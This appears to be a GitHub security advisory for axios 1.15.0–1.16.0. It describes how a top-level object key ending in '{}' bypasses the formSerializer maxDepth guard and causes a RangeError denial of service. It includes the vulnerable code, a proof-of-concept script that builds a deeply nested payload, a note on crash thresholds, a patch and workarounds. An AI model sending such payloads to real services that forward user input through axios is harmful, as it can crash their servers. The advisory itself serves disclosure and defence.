Axios form serializer maxDepth bypass via {} metatoken

Summary

Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure.

An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path.

Impact

The impact is availability only. No confidentiality or integrity impact was confirmed.

Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.

The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified.

Affected Functionality

Affected paths include:

• lib/helpers/toFormData.js when a top-level key ends with {}.
• lib/helpers/toURLEncodedForm.js, which delegates to helpers.defaultVisitor.
• lib/helpers/AxiosURLSearchParams.js, used by default params serialization.
• Request transforms in lib/defaults/index.js when object data is serialized as multipart/form-data or application/x-www-form-urlencoded.

Unaffected paths include:

• Already-created FormData or URLSearchParams values that axios does not walk with toFormData.
• Custom paramsSerializer.serialize implementations that do not call axios toFormData.
• Non-{} deeply nested values in toFormData, which hit ERR_FORM_DATA_DEPTH_EXCEEDED as intended.

Technical Details

In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal:

if (value && !path && typeof value === 'object') {
  if (utils.endsWith(key, '{}')) {
    key = metaTokens ? key : key.slice(0, -2);
    value = JSON.stringify(value);
  }
}

The depth guard is in build():

if (depth > maxDepth) {
  throw new AxiosError(
    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
  );
}

For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.

Proof of Concept of Attack

Safe local PoC with no network I/O:

import toFormData from './lib/helpers/toFormData.js';

function buildDeep(depth) {
  const head = {};
  let cur = head;

  for (let i = 0; i < depth; i += 1) {
    cur.x = {};
    cur = cur.x;
  }

  return head;
}

try {
  toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
  console.log(err.name, err.code || '', err.message);
}

// Expected affected result:
// RangeError  Maximum call stack size exceeded

Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.

Workarounds

Reject or depth-limit untrusted objects before passing them to axios serialization.

Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.

For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.

For form bodies, construct FormData or URLSearchParams manually after validating input depth.

<details> <summary>Original Report</summary>

Summary

The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.

Details

Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes:

• axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData
• axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData
• axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData

Vulnerable code, lib/helpers/toFormData.js:

// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...

build() later does enforce maxDepth:

// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );

The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously.

The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected.

The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged:

app.post('/forward', async (req, res) => {
 await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
 res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes

The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.

The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:

 if (utils.endsWith(key, '{}')) {
 // eslint-disable-next-line no-param-reassign
 key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
 // eslint-disable-next-line no-param-reassign
 value = JSON.stringify(value);
 }

(The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.)

PoC

Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script:

import axios from './source/index.js';

function buildDeep(depth) {
 let head = {};
 let cur = head;
 for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
 return head;
}

const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
 data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});

// 1. POST x-www-form-urlencoded
try {
 await axios.post('http://example.test/x',
 { 'evil{}': malicious },
 { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
 console.log('POST form-encoded:', e.name, '-', e.message);
}

// 2. GET with params
try {
 await axios.get('http://example.test/x',
 { params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
 console.log('GET params:', e.name, '-', e.message);
}

3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24:

$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded

safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.

Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.

Impact

A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}' to land on the unguarded code path.

</details>